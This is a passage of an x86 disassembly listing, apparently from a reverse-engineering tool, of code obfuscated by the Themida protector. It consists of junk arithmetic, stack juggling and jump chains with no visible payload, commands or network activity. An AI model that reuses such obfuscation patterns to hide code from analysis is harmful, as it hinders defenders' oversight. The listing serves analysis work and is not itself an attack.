		mov	[esp+16h+var_16], esi
		mov	esi, 4
		add	ecx, 68966F56h
		jmp	loc_56C080
; ---------------------------------------------------------------------------


loc_56AACF:				; CODE XREF: sub_562ABA+911Ej
		sub	ah, cl
		pop	ecx
		add	bh, 7Dh
		sub	bh, 0C4h
		jmp	loc_56C21D
; ---------------------------------------------------------------------------


loc_56AADD:				; CODE XREF: sub_562ABA+A535j
		sub	ebx, 53A85CC4h
		sub	ebx, esi
		add	ebx, 53A85CC4h
		pop	esi
		push	ebx
		xor	[esp+12h+var_12], 27A4649h
		jmp	loc_5638BD
; ---------------------------------------------------------------------------


loc_56AAF9:				; CODE XREF: sub_562ABA+CC17j
		movzx	eax, al
		mov	dx, word ptr [esp+12h+var_12]
		sub	esp, 4
		mov	[esp+16h+var_16], eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 2
		add	eax, edi
		mov	edi, [esp+1Ah+var_1A]
		jmp	loc_571992
; ---------------------------------------------------------------------------


loc_56AB24:				; CODE XREF: sub_562ABA+247Cj
		push	edi
		push	[esp+arg_0]
		jmp	loc_568B14
; ---------------------------------------------------------------------------


loc_56AB2E:				; CODE XREF: sub_562ABA+FCD1j
		xor	ecx, 0EA87C155h
		and	edi, ecx
		jmp	loc_568821
; ---------------------------------------------------------------------------


loc_56AB3B:				; CODE XREF: sub_562ABA+2000j
		sub	esp, 4
		mov	[esp+22h+var_22], ebp
		pop	ebx
		push	[esp+1Eh+var_1E]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56CB15
; ---------------------------------------------------------------------------


loc_56AB54:				; CODE XREF: sub_562ABA-45Bj
		pop	dx
		sub	al, dl
		jmp	loc_56AC94
; ---------------------------------------------------------------------------


loc_56AB5D:				; CODE XREF: sub_562ABA+CDFEj
		add	eax, 4ADE5DA3h
		xor	eax, 9C5FCF07h
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		add	ebx, 0C3674F8h
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		xchg	ebx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		push	6427h
		mov	[esp-10h+arg_C], esi
		mov	esi, 280B7FC7h
		add	edx, esi
		jmp	loc_56AFEA
; ---------------------------------------------------------------------------


loc_56AB92:				; CODE XREF: sub_562ABA+5329j
		sub	ebx, 22736113h
		sub	ebx, 0EEB0B343h
		and	esi, ebx
		jmp	loc_56E3BC
; ---------------------------------------------------------------------------


loc_56ABA5:				; CODE XREF: sub_562ABA+BA51j
		push	ecx
		push	1D586C9Dh
		jmp	loc_5702BA
; ---------------------------------------------------------------------------


loc_56ABB0:				; CODE XREF: sub_562ABA+D5DAj
		not	al
		sub	al, 0
		add	al, 69h
		push	ecx
		mov	cl, 0DEh
		dec	cl
		add	cl, 64h
		or	al, cl
		jmp	loc_56AF80
; ---------------------------------------------------------------------------


loc_56ABC5:				; CODE XREF: sub_562ABA+972j
		mov	ecx, [esp+12h+var_12]
		jmp	loc_55E61A
; ---------------------------------------------------------------------------


loc_56ABCD:				; CODE XREF: sub_562ABA+D3DAj
		mov	ebx, [esp+12h+var_12]
		jmp	loc_56F4E4
; ---------------------------------------------------------------------------


loc_56ABD5:				; CODE XREF: sub_55FCA5+3CBj
		sub	ecx, 8030EABCh
		add	esi, ecx
		jmp	loc_56F1D0
; ---------------------------------------------------------------------------


loc_56ABE2:				; CODE XREF: sub_562ABA+F578j
		inc	[esp+12h+var_12]
		pop	ebp
		add	ebp, 0FFFEE42Eh
		add	ecx, ebp
		mov	ebp, [esp+0]
		jmp	loc_560A98
; ---------------------------------------------------------------------------


loc_56ABF6:				; CODE XREF: sub_562ABA+D011j
		sub	esp, 4
		mov	[esp+12h+var_12], edx
		jmp	loc_56B21F
; ---------------------------------------------------------------------------


loc_56AC04:				; CODE XREF: sub_562ABA+979Ej
		push	ebx
		mov	ebx, 4C72250Eh
		xor	ebx, 2EB55C46h
		not	ebx
		shl	ebx, 7
		shr	ebx, 2
		sub	ebx, 2710D6DCh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+12h+var_12]
		jmp	loc_562B89
; ---------------------------------------------------------------------------


loc_56AC2C:				; CODE XREF: sub_562ABA+25E0j
		xor	esi, 4F2B31C0h
		shr	esi, 7
		jmp	loc_568E79
; ---------------------------------------------------------------------------


loc_56AC3A:				; CODE XREF: sub_562ABA+C411j
		shr	edi, 5
		xchg	esi, edi
		jmp	loc_56CB7F
; ---------------------------------------------------------------------------


loc_56AC44:				; CODE XREF: sub_562ABA+27E6j
		pop	esp
		add	ecx, 4
		push	edi
		mov	edi, 2
		push	edi
		mov	edi, 1CF5389Ah
		jmp	loc_56673D
; ---------------------------------------------------------------------------


loc_56AC5C:				; CODE XREF: sub_562ABA-DF2j
		add	ebx, 3C6B7810h
		sub	ebx, edi
		sub	ebx, 3C6B7810h
		sub	ebx, 3C10686Bh
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_5621A1
; ---------------------------------------------------------------------------


loc_56AC7B:				; CODE XREF: sub_562ABA-378Dj
		sub	esi, 5CE2755Fh
		pop	ebp
		sub	esp, 4
		jmp	loc_5674D2
; ---------------------------------------------------------------------------


loc_56AC8D:				; CODE XREF: sub_562ABA+A791j
		and	eax, esi
		jmp	loc_57262E
; ---------------------------------------------------------------------------


loc_56AC94:				; CODE XREF: sub_562ABA+809Ej
		sub	al, 79h
		pop	edx
		push	ebx
		mov	bh, 0C9h
		not	bh
		push	eax
		mov	ah, 6
		jmp	loc_571D42
; ---------------------------------------------------------------------------


loc_56ACA4:				; CODE XREF: sub_562ABA-2383j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		push	5446h
		mov	[esp+0], ecx
		mov	ch, 99h
		add	ch, 8Dh
		add	ch, 52h
		not	ch
		push	ebx
		jmp	loc_5669A3
; ---------------------------------------------------------------------------


loc_56ACCA:				; CODE XREF: sub_562ABA+CD03j
		sub	edi, 4
		xchg	edi, [esp+2+var_4+2]
		jmp	loc_56CCC7
; ---------------------------------------------------------------------------


loc_56ACD5:				; CODE XREF: sub_562ABA-3EF5j
		add	edx, 1A2452D6h
		jmp	loc_57290A
; ---------------------------------------------------------------------------


loc_56ACE0:				; CODE XREF: sub_562ABA+BBE8j
		inc	esi
		jmp	loc_5689DC
; ---------------------------------------------------------------------------


loc_56ACE6:				; CODE XREF: sub_562ABA+FFBDj
		mov	edi, esp
		add	edi, 4
		jmp	loc_568D6F
; ---------------------------------------------------------------------------


loc_56ACF3:				; CODE XREF: sub_55FCA5+62j
		mov	dword ptr [ecx], 0
		push	[esp+32h+var_32]
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+36h+var_36]
		pop	esp
		jmp	loc_566121
; ---------------------------------------------------------------------------


loc_56AD17:				; CODE XREF: sub_562ABA+8E79j
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+32h+var_32]
		jmp	loc_5704B7
; ---------------------------------------------------------------------------


loc_56AD24:				; CODE XREF: sub_562ABA+7E5Ej
		and	esi, eax
		pop	eax
		jmp	loc_56CFE9
; ---------------------------------------------------------------------------


loc_56AD2C:				; CODE XREF: sub_562ABA+DB5Bj
		sub	eax, 57B470E6h
		pop	esi
		sub	esp, 4
		mov	[esp+32h+var_32], edx
		mov	edx, 74A6341Fh
		xor	edx, 74A6341Dh
		add	eax, edx
		jmp	loc_56BEDD
; ---------------------------------------------------------------------------


loc_56AD4A:				; CODE XREF: sub_562ABA+31D4j
		push	ebx
		mov	ebx, 0F1226E0h
		sub	ebx, 17B95CCEh
		and	ebx, 52DA174Bh
		jmp	loc_56CB8F
; ---------------------------------------------------------------------------


loc_56AD61:				; CODE XREF: sub_562ABA+C9DAj
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_567BB1
; ---------------------------------------------------------------------------


loc_56AD6F:				; CODE XREF: sub_562ABA+5C73j
		add	edx, esi
		pop	esi
		sub	edx, 78615F5Dh
		add	edx, eax
		push	ebp
		jmp	loc_562FD6
; ---------------------------------------------------------------------------


loc_56AD80:				; CODE XREF: sub_562ABA+119Bj
		xor	ebx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ebx
		xor	ebx, [esp+32h+var_32]
		pop	esp
		add	dword ptr [esp+0], 0A4861C8h
		add	dword ptr [esp+0], 6122264h
		sub	dword ptr [esp+0], 1466CF2h
		sub	[esp+0], eax
		add	dword ptr [esp+0], 1466CF2h
		push	358h
		jmp	loc_55EFB2
; ---------------------------------------------------------------------------


loc_56ADB3:				; CODE XREF: sub_562ABA+7165j
		xor	edx, eax
		pop	eax
		push	edi
		mov	edi, 42FD7B44h
		not	edi
		shl	edi, 1
		push	eax
		push	ebp
		mov	ebp, 0C2E5D5Ah
		jmp	loc_56025F
; ---------------------------------------------------------------------------


loc_56ADCC:				; CODE XREF: sub_562ABA+3585j
		sub	ebx, 4
		xchg	ebx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_56BB8B
; ---------------------------------------------------------------------------


loc_56ADDD:				; CODE XREF: sub_562ABA+3CFBj
		mov	[esp+0], ebp
		jmp	loc_57188A
; ---------------------------------------------------------------------------


loc_56ADE5:				; CODE XREF: sub_562ABA+FEACj
		mov	esp, [esp+0]
		jmp	loc_566A64
; ---------------------------------------------------------------------------


loc_56ADED:				; CODE XREF: sub_562ABA+B760j
		add	esp, 4
		jmp	loc_570F78
; ---------------------------------------------------------------------------


loc_56ADF5:				; CODE XREF: sub_562ABA-31EEj
		mov	[esp+12h+var_12], ebx
		jmp	loc_5618F7
; ---------------------------------------------------------------------------


loc_56ADFD:				; CODE XREF: sub_562ABA+9B7j
		mov	[esp+0], eax
		jmp	loc_56307A
; ---------------------------------------------------------------------------


loc_56AE05:				; CODE XREF: sub_562ABA-307Fj
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		jmp	loc_5659E5
; ---------------------------------------------------------------------------


loc_56AE13:				; CODE XREF: sub_562ABA+13C6j
		pop	eax
		add	esi, ebp
		pop	ebp
		sub	ebx, 36A2275Dh
		add	ebx, esi
		add	ebx, 36A2275Dh
		push	[esp+16h+var_16]
		pop	esi
		add	esp, 4
		jmp	loc_56FB21
; ---------------------------------------------------------------------------


loc_56AE31:				; CODE XREF: sub_562ABA+BB9Fj
		mov	esp, [esp+12h+var_12]
		jmp	loc_563DD2
; ---------------------------------------------------------------------------


loc_56AE39:				; CODE XREF: sub_562ABA-42A8j
		pop	ebp
		push	eax
		jmp	loc_563D17
; ---------------------------------------------------------------------------


loc_56AE40:				; CODE XREF: sub_562ABA+A1A1j
		push	ebx
		push	32DAh
		mov	[esp+1Eh+var_1E], eax
		push	esi
		push	56412DBCh
		mov	esi, [esp+26h+var_28+2]
		jmp	loc_56B4C4
; ---------------------------------------------------------------------------


loc_56AE57:				; CODE XREF: sub_562ABA+F518j
		push	1289h
		mov	[esp+2Ah+var_2C+2], esp
		jmp	loc_568D2F
; ---------------------------------------------------------------------------


loc_56AE64:				; CODE XREF: sub_562ABA+91B0j
		sub	ebp, 48F85CACh
		pop	ebx
		xor	ebp, [esp+26h+var_28+2]
		jmp	loc_571A70
; ---------------------------------------------------------------------------


loc_56AE73:				; CODE XREF: sub_562ABA-1B67j
		dec	ebp
		sub	ebp, 12E6F98Fh
		add	edx, ebp
		pop	ebp
		mov	ecx, [esp+44h+var_46+2]
		add	esp, 4
		xchg	edx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		mov	ecx, [esp+40h+var_42+2]
		push	2642h
		mov	[esp+44h+var_46+2], ebp
		push	0D60h
		push	1E68h
		jmp	loc_5682EB
; ---------------------------------------------------------------------------


loc_56AEA6:				; CODE XREF: sub_562ABA+BF84j
		push	1A46h
		jmp	loc_565A1D
; ---------------------------------------------------------------------------


loc_56AEB0:				; CODE XREF: sub_562ABA+7AF1j
		add	ecx, ebp
		add	ecx, 6AA05C46h
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+32h+var_32]
		pop	esp
		jmp	loc_564AFD
; ---------------------------------------------------------------------------


loc_56AEC5:				; CODE XREF: sub_562ABA-4840j
		shl	eax, 4
		xor	eax, 5D144787h
		shr	eax, 8
		push	esi
		jmp	loc_5723FE
; ---------------------------------------------------------------------------


loc_56AED6:				; CODE XREF: sub_55FCA5+2D5j
		sub	ecx, 27F15447h
		sub	edi, ecx
		jmp	loc_566792
; ---------------------------------------------------------------------------


loc_56AEE3:				; DATA XREF: Themida_:0055DFACo
		lodsd
		push	edx
		jmp	loc_56DA3B
; ---------------------------------------------------------------------------


loc_56AEEA:				; CODE XREF: sub_562ABA-3389j
		sub	eax, 4F42716Fh
		add	eax, ebx
		add	eax, 4F42716Fh
		pop	ebx
		push	ecx
		mov	ecx, 46B9359Dh
		add	ecx, 5F5A66E6h
		sub	ecx, 612D0C3Eh
		jmp	loc_5670D2
; ---------------------------------------------------------------------------


loc_56AF0E:				; CODE XREF: sub_562ABA+F5j
		push	edx
		mov	edx, 2455574Eh
		add	edx, 513DDE00h
		mov	edi, edx
		pop	edx
		sub	edi, 365C1F5Bh
		shl	edi, 5
		inc	edi
		sub	edi, 0E6E2BE5Dh
		add	ebp, edi
		mov	edi, [esp+12h+var_12]
		add	esp, 4
		sub	esp, 4
		mov	[esp+12h+var_12], esi
		mov	esi, 61002F60h
		not	esi
		and	esi, 2E8A6E8Bh
		push	ecx
		mov	ecx, 40D97973h
		or	esi, ecx
		pop	ecx
		push	ebp
		push	4EDB79F9h
		mov	ebp, [esp+1Ah+var_1A]
		add	esp, 4
		xor	esi, ebp
		pop	ebp
		add	ebp, 783F303Ch
		sub	ebp, 22BD6928h
		jmp	loc_572043
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+12h+var_12]
		jmp	loc_56B28A
; ---------------------------------------------------------------------------


loc_56AF80:				; CODE XREF: sub_562ABA+8106j
		pop	ecx
		shl	al, 7
		add	al, 81h
		add	bl, al
		pop	eax
		mov	dx, word ptr [esp+20h+var_22+2]
		add	esp, 2
		sub	bl, 0E7h
		sub	bl, 0FDh
		jmp	loc_56074A
; ---------------------------------------------------------------------------


loc_56AF9B:				; CODE XREF: sub_562ABA+3154j
		or	dh, 0FCh
		shl	dh, 1
		add	dh, 0EAh
		add	bl, dh
		push	[esp+26h+var_28+2]
		pop	edx
		push	ecx
		jmp	loc_56E8F6
; ---------------------------------------------------------------------------


loc_56AFAF:				; CODE XREF: sub_562ABA+1E44j
		mov	[esp+0], ecx
		push	ebx
		push	ecx
		mov	cl, 6Bh
		dec	cl
		push	ebx
		mov	bl, 0D7h
		jmp	loc_56A138
; ---------------------------------------------------------------------------


loc_56AFC0:				; CODE XREF: sub_562ABA+AE0j
		sub	edi, 77186173h
		jmp	loc_55FCDA
; ---------------------------------------------------------------------------


loc_56AFCB:				; CODE XREF: sub_562ABA+8A7Ej
		push	2F90h
		mov	[esp+36h+var_36], edi
		mov	edi, 4
		add	eax, 6E4351Ch
		add	eax, edi
		sub	eax, 6E4351Ch
		pop	edi
		jmp	loc_568F73
; ---------------------------------------------------------------------------


loc_56AFEA:				; CODE XREF: sub_562ABA+80D3j
		pop	esi
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56AFF0:				; CODE XREF: sub_562ABA+E927j
		add	[esp-14h+arg_10], 4
		pop	[esp-14h+arg_10]
		push	ecx
		push	ebx
		mov	ebx, 14F30737h
		sub	esp, 4
		mov	[esp-0Ch+arg_8], esi
		push	ebx
		jmp	loc_55E1A1
; ---------------------------------------------------------------------------


loc_56B010:				; CODE XREF: sub_562ABA+86ADj
		pop	ecx
		push	ebx
		jmp	loc_56FA39
; ---------------------------------------------------------------------------


loc_56B017:				; CODE XREF: sub_562ABA+634Cj
		and	esi, edx
		pop	edx
		jmp	loc_56B458
; ---------------------------------------------------------------------------


loc_56B01F:				; CODE XREF: Themida_:0055E4EBj
		add	esp, 4
		add	edx, 4
		jmp	loc_56C4A9
; ---------------------------------------------------------------------------


loc_56B02D:				; CODE XREF: sub_562ABA+A0Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_565C93
; ---------------------------------------------------------------------------


loc_56B03E:				; CODE XREF: sub_562ABA+52B5j
		shl	bx, 7
		and	bx, 2305h
		sub	bx, 0DF55h
		jmp	loc_56326F
; ---------------------------------------------------------------------------


loc_56B051:				; CODE XREF: sub_562ABA+CE0Fj
		xchg	eax, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		mov	[esp+2+var_4+2], ebx
		jmp	loc_565595
; ---------------------------------------------------------------------------


loc_56B05F:				; CODE XREF: sub_562ABA+4243j
		mov	esi, 4
		add	[esp+36h+var_32], esi
		pop	esi
		pop	[esp+32h+var_32]
		push	edx
		jmp	loc_57148A
; ---------------------------------------------------------------------------


loc_56B072:				; CODE XREF: Themida_:0056180Fj
		mov	eax, 0C5B4B0DAh
		push	ebp
		mov	ebp, eax
		mov	edi, ebp
		mov	ebp, [esp+36h+var_36]
		jmp	loc_56C4BD
; ---------------------------------------------------------------------------


loc_56B084:				; CODE XREF: sub_562ABA-216j
		push	ecx
		jmp	loc_56F7F6
; ---------------------------------------------------------------------------


loc_56B08A:				; CODE XREF: sub_562ABA+2913j
		xor	[esp+1Ah+var_1A], eax
		jmp	loc_56CCF5
; ---------------------------------------------------------------------------


loc_56B092:				; CODE XREF: sub_562ABA+1AE6j
		push	dword ptr [esp+0]
		push	[esp+32h+var_32]
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_56CE0E
; ---------------------------------------------------------------------------


loc_56B0A7:				; CODE XREF: sub_562ABA+D50Aj
		pop	[esp+3Ah+var_3A]
		jmp	loc_566F94
; ---------------------------------------------------------------------------


loc_56B0AF:				; CODE XREF: sub_55FCA5-6Ej
		pop	esi
		sub	edx, ecx
		jmp	loc_56B950
; ---------------------------------------------------------------------------


loc_56B0B7:				; CODE XREF: sub_562ABA-1EC9j
		shl	esi, 4
		and	esi, 4F022925h
		jmp	loc_566437
; ---------------------------------------------------------------------------


loc_56B0C5:				; CODE XREF: sub_55FCA5+2A80j
		not	[esp+8+var_8]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xor	esi, 185332B9h
		inc	esi
		jmp	loc_56EDC9
; ---------------------------------------------------------------------------


loc_56B0DA:				; CODE XREF: sub_562ABA+8B74j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		add	edx, 4
		push	7E69h
		jmp	loc_56B84B
; ---------------------------------------------------------------------------


loc_56B0F0:				; CODE XREF: sub_562ABA+643Fj
		mov	ebp, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_56F0EE
; ---------------------------------------------------------------------------


loc_56B0FE:				; CODE XREF: sub_562ABA+95F4j
		push	ebp
		jmp	loc_5722CB
; ---------------------------------------------------------------------------


loc_56B104:				; CODE XREF: sub_562ABA-3DD7j
		push	esi
		sub	esp, 4
		jmp	loc_5643E3
; ---------------------------------------------------------------------------


loc_56B110:				; CODE XREF: sub_562ABA+3D0Ej
		xchg	esi, [esp+12h+var_12]
		pop	esp
		jmp	sub_55F788
; ---------------------------------------------------------------------------


loc_56B119:				; CODE XREF: sub_562ABA+C22j
		push	ecx
		add	[esp+1Ah+var_1A], 6235028Ch
		mov	esi, [esp+1Ah+var_1A]
		jmp	loc_560704
; ---------------------------------------------------------------------------


loc_56B129:				; CODE XREF: sub_562ABA+8CCBj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], edi
		xor	edi, [esp+1Ah+var_1A]
		jmp	loc_5625F8
; ---------------------------------------------------------------------------


loc_56B143:				; CODE XREF: sub_562ABA+5CFCj
		pop	edx
		shr	ebp, 2
		push	7745h
		mov	[esp+12h+var_12], eax
		jmp	loc_5618A9
; ---------------------------------------------------------------------------


loc_56B154:				; CODE XREF: sub_562ABA+28Ej
		mov	eax, edx
		pop	edx
		jmp	loc_56EFDC
; ---------------------------------------------------------------------------


loc_56B15C:				; CODE XREF: sub_562ABA-1B2Aj
		xor	ecx, ebx
		push	[esp-14h+arg_10]
		pop	ebx
		add	esp, 4
		mov	edi, ecx
		jmp	loc_56B010
; ---------------------------------------------------------------------------


loc_56B16C:				; CODE XREF: sub_562ABA+6C9Fj
		mov	ebx, 38035B6Bh
		jmp	loc_560F28
; ---------------------------------------------------------------------------


loc_56B176:				; CODE XREF: sub_562ABA+CCFj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+36h+var_36]
		jmp	loc_56A6CB
; ---------------------------------------------------------------------------


loc_56B18A:				; CODE XREF: sub_562ABA+8F50j
		mov	[esp+36h+var_36], eax
		push	edx
		mov	edx, 3F282ACAh
		jmp	loc_56E931
; ---------------------------------------------------------------------------


loc_56B198:				; CODE XREF: sub_562ABA-492Dj
		not	dl
		neg	dl
		push	ecx
		jmp	loc_5643C8
; ---------------------------------------------------------------------------


loc_56B1A2:				; CODE XREF: sub_562ABA+CD77j
		pop	ebp
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 4
		sub	ebp, 0B445601h
		add	ebp, esi
		sub	esp, 4
		mov	[esp+12h+var_12], ecx
		push	esi
		mov	esi, 0A7B6774h
		mov	ecx, 13F3175h
		xor	ecx, esi
		pop	esi
		add	ebp, 7A38797Fh
		add	ebp, ecx
		sub	ebp, 7A38797Fh
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		add	ebp, 2
		sub	esp, 4
		jmp	loc_55FEB1
; ---------------------------------------------------------------------------


loc_56B1FC:				; CODE XREF: sub_562ABA+657j
		xor	edx, [esp+8+var_8]
		jmp	loc_5649A9
; ---------------------------------------------------------------------------


loc_56B204:				; CODE XREF: sub_562ABA-2940j
		xor	ecx, ebp
		not	ebp
		xchg	ebp, ecx
		jmp	loc_56E2AF
; ---------------------------------------------------------------------------


loc_56B20F:				; CODE XREF: sub_562ABA-1FD8j
		push	[esp+0Ah+var_C+2]
		jmp	loc_55E837
; ---------------------------------------------------------------------------


loc_56B217:				; CODE XREF: sub_562ABA+21F8j
		and	eax, ebx
		pop	ebx
		jmp	loc_5655F5
; ---------------------------------------------------------------------------


loc_56B21F:				; CODE XREF: sub_562ABA+8145j
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	edx
		jmp	loc_563B84
; ---------------------------------------------------------------------------


loc_56B236:				; CODE XREF: sub_562ABA+F18j
		sub	edx, 28814882h
		pop	edi
		push	edi
		mov	edi, 38B5DEA1h
		jmp	loc_564E93
; ---------------------------------------------------------------------------


loc_56B248:				; CODE XREF: sub_562ABA+CABj
		add	esp, 4
		sub	edx, esi
		pop	esi
		add	edx, 306C6233h
		sub	edx, eax
		sub	edx, 306C6233h
		push	ebx
		jmp	loc_563FAA
; ---------------------------------------------------------------------------


loc_56B265:				; CODE XREF: sub_562ABA+100FBj
		push	[esp+42h+var_3E]
		pop	edi
		pop	[esp+42h+var_42]
		pop	esp
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebx
		mov	ebx, 4DCF265Eh
		add	ebx, 1
		jmp	loc_569E16
; ---------------------------------------------------------------------------


loc_56B281:				; CODE XREF: sub_562ABA-B06j
		pop	edi
		push	[esp+6+var_8+2]
		jmp	loc_567260
; ---------------------------------------------------------------------------


loc_56B28A:				; CODE XREF: sub_562ABA+84C1j
		push	709Fh
		mov	[esp+16h+var_16], eax
		push	esp
		push	[esp+1Ah+var_1A]
		pop	eax
		push	ebp
		jmp	loc_5655AC
; ---------------------------------------------------------------------------


loc_56B29D:				; CODE XREF: sub_562ABA+3FBDj
		mov	ecx, 7C6173F4h
		mov	ebx, 0E718059Ah
		add	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 64100D0Bh
		shr	edi, 2
		inc	edi
		push	edx
		mov	edx, 791E4DA6h
		neg	edx
		dec	edx
		add	edx, 0DAD57ABCh
		add	edi, edx
		pop	edx
		jmp	loc_55EA81
; ---------------------------------------------------------------------------


loc_56B2CB:				; CODE XREF: sub_562ABA+E86Dj
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edi
		jmp	loc_5614E8
; ---------------------------------------------------------------------------


loc_56B2D6:				; CODE XREF: sub_562ABA+259j
		xchg	eax, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Ah+var_C+2]
		jmp	loc_5615E0
; ---------------------------------------------------------------------------


loc_56B2EA:				; CODE XREF: sub_562ABA+43D7j
		add	al, dl
		sub	al, 86h
		pop	dx
		sub	bl, 0FDh
		sub	bl, 0Bh
		push	eax
		jmp	loc_57288F
; ---------------------------------------------------------------------------


loc_56B2FC:				; CODE XREF: sub_562ABA+9590j
		xchg	edi, [esp+58h+var_5A+2]
		jmp	loc_57039B
; ---------------------------------------------------------------------------


loc_56B304:				; CODE XREF: sub_562ABA-276Bj
		sub	eax, 15BA34CBh
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_56C3F5
; ---------------------------------------------------------------------------


loc_56B319:				; CODE XREF: sub_562ABA+F406j
		or	ebp, 5E9145EAh
		jmp	loc_56710D
; ---------------------------------------------------------------------------


loc_56B324:				; CODE XREF: sub_562ABA+92E9j
		sub	ebx, 4CC40DE9h
		jmp	loc_562D02
; ---------------------------------------------------------------------------


loc_56B32F:				; CODE XREF: Themida_:0056149Cj
		push	esi
		sub	esp, 4
		mov	[esp+12h+var_12], esp
		push	edx
		mov	edx, 4
		add	[esp+16h+var_12], edx
		pop	edx
		jmp	loc_56EB1E
; ---------------------------------------------------------------------------


loc_56B346:				; CODE XREF: sub_562ABA+AC19j
		sub	edi, 0C44AE017h
		and	edx, edi
		pop	edi
		not	edx
		shl	edx, 7
		xor	edx, 8A3BC7D9h
		mov	eax, edx
		pop	edx
		shl	eax, 2
		push	edx
		push	ebx
		mov	ebx, 1
		mov	edx, ebx
		jmp	loc_5707C3
; ---------------------------------------------------------------------------


loc_56B36E:				; CODE XREF: sub_562ABA-1BEDj
		push	edx
		mov	edx, 3D0E667Fh
		push	ebx
		mov	ebx, 265A74FDh
		push	ecx
		mov	ecx, 5B7A1E9Fh
		add	ebx, ecx
		pop	ecx
		xor	ebx, 0ADF6C977h
		jmp	loc_56FB9E
; ---------------------------------------------------------------------------


loc_56B38E:				; CODE XREF: sub_562ABA+C120j
		push	[esp+50h+var_52+2]
		push	[esp+54h+var_56+2]
		push	[esp+58h+var_5A+2]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+58h+var_5A+2], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, offset dword_437474
		add	ebp, esi
		sub	ebp, offset dword_437474
		mov	esi, [esp+5Ch+var_5E+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+5Ch+var_5E+2], ecx
		push	4
		push	[esp+60h+var_62+2]
		pop	ecx
		add	esp, 4
		add	ebp, ecx
		mov	ecx, [esp+5Ch+var_5E+2]
		add	esp, 4
		push	8E0h
		jmp	loc_56A975
; ---------------------------------------------------------------------------


loc_56B3F0:				; CODE XREF: sub_562ABA+14A7j
		push	ebx
		jmp	loc_56E8BC
; ---------------------------------------------------------------------------


loc_56B3F6:				; CODE XREF: sub_562ABA+A728j
		add	ebx, edx
		sub	ebx, 56F77639h
		pop	edx
		push	edx
		jmp	loc_56B654
; ---------------------------------------------------------------------------


loc_56B405:				; CODE XREF: sub_562ABA+AEDFj
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_56FE16
; ---------------------------------------------------------------------------


loc_56B413:				; CODE XREF: sub_562ABA-9D2j
		dec	dword ptr [esp+0]
		not	dword ptr [esp+0]
		pop	ebx
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_56FD2D
; ---------------------------------------------------------------------------


loc_56B425:				; CODE XREF: Themida_:005606A8j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ecx
		sub	esp, 4
		jmp	loc_55EE98
; ---------------------------------------------------------------------------


loc_56B43C:				; CODE XREF: sub_562ABA-1EAj
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 3F4A4BD5h
		not	ebp
		push	edi
		jmp	loc_571731
; ---------------------------------------------------------------------------


loc_56B458:				; CODE XREF: sub_562ABA+8560j
		inc	esi
		jmp	loc_56F57B
; ---------------------------------------------------------------------------


loc_56B45E:				; CODE XREF: Themida_:00571E38j
		push	3AA3h
		mov	[esp+5Eh+var_5E], ebx
		push	62C9h
		mov	[esp+62h+var_62], esp
		add	[esp+62h+var_62], 4
		push	[esp+62h+var_62]
		pop	ebx
		sub	esp, 4
		mov	[esp+66h+var_66], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	27CAh
		mov	[esp+6Ah+var_6A], ebp
		push	ecx
		mov	ecx, 435656AAh
		and	ecx, 51951FFEh
		not	ecx
		neg	ecx
		jmp	loc_566B29
; ---------------------------------------------------------------------------


loc_56B4A4:				; CODE XREF: sub_562ABA+CE06j
		pop	esp
		mov	[esp+6Ah+var_6A], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6Ah+var_6A]
		pop	esp
		push	4ED7h
		mov	[esp+6Ah+var_6A], edx
		jmp	loc_56EA38
